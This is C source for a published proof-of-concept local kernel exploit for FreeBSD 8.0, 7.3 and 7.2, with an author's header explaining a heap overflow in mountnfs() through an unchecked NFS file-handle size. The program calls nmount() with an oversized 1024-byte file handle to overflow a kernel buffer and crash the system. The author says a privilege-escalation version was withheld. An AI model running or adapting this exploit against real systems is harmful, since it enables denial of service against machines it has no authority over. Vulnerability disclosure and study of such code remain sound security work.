1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 |
/* * mountnfsex.c -- Patroklos Argyroudis, argp at domain census-labs.com * * Local kernel exploit for FreeBSD 8.0, 7.3 and 7.2. * * Discovered and exploited by Patroklos (argp) Argyroudis. * * The vulnerability is in mountnfs() which is reachable by the mount(2) * and nmount(2) system calls.In order for them to be enabled for * unprivileged users the sysctl(8) variable vfs.usermount must be set to * a non-zero value. * * mountnfs() employs an insufficient input validation method for copying * data passed in the struct nfs_args from userspace to kernel. * Specifically, the file handle to be mounted (nfs_args.fh) and its size * (nfs_args.fhsize) are completely user-controllable.In file * sys/nfsclient/nfs_vfsops.c from 8.0-RELEASE: * * 1219 bcopy((caddr_t)argp->fh, (caddr_t)nmp->nm_fh, argp->fhsize); * * The above can cause a kernel heap overflow when argp->fh is bigger than * 128 bytes (the size of nmp->nm_fh) since nmp is an allocated item on * the UMA zone nfsmount_zone (again from sys/nfsclient/nfs_vfsops.c): * * 1164 struct nfsmount *nmp; *... * 1175 nmp = uma_zalloc(nfsmount_zone, M_WAITOK); * * The result is a kernel crash/denial-of-service.I have developed a code * execution/privilege escalation exploit, but I will not release it at this * point.7.1-RELEASE and earlier do not seem to be vulnerable since the * bug was introduced in 7.2-RELEASE. * * $Id: mountnfsex.c,v c1302ea1317d 2010/05/23 17:30:17 argp $ */ #include <sys/param.h> #include <sys/mount.h> #include <sys/uio.h> #include <err.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sysexits.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <errno.h> #define BUFSIZE 1024 #define FSNAME"nfs" #define DIRPATH "/tmp/nfs" int main() { struct iovec iov[8]; mkdir(DIRPATH, 0700); iov[0].iov_base = "fstype"; iov[0].iov_len = strlen(iov[0].iov_base) + 1; iov[1].iov_base = FSNAME; iov[1].iov_len = strlen(iov[1].iov_base) + 1; iov[2].iov_base = "fspath"; iov[2].iov_len = strlen(iov[2].iov_base) + 1; iov[3].iov_base = DIRPATH; iov[3].iov_len = strlen(iov[3].iov_base) + 1; iov[4].iov_base = "fh"; iov[4].iov_len = strlen(iov[4].iov_base) + 1; iov[5].iov_base = calloc(BUFSIZE, sizeof(char)); if(iov[5].iov_base == NULL) { perror("calloc"); rmdir(DIRPATH); exit(EXIT_FAILURE); } memset(iov[5].iov_base, 0x41, (BUFSIZE - 1)); iov[5].iov_len = BUFSIZE; iov[6].iov_base = "hostname"; iov[6].iov_len = strlen(iov[6].iov_base) + 1; iov[7].iov_base = "census-labs.com"; iov[7].iov_len = strlen(iov[7].iov_base) + 1; printf("[*] calling nmount()\n"); if(nmount(iov, 8, 0) < 0) { fprintf(stderr, "[!] nmount error: %d\n", errno); perror("nmount"); rmdir(DIRPATH); free(iov[5].iov_base); exit(1); } printf("[*] unmounting and deleting %s\n", DIRPATH); unmount(DIRPATH, 0); rmdir(DIRPATH); free(iov[5].iov_base); return 0; } /* EOF */ |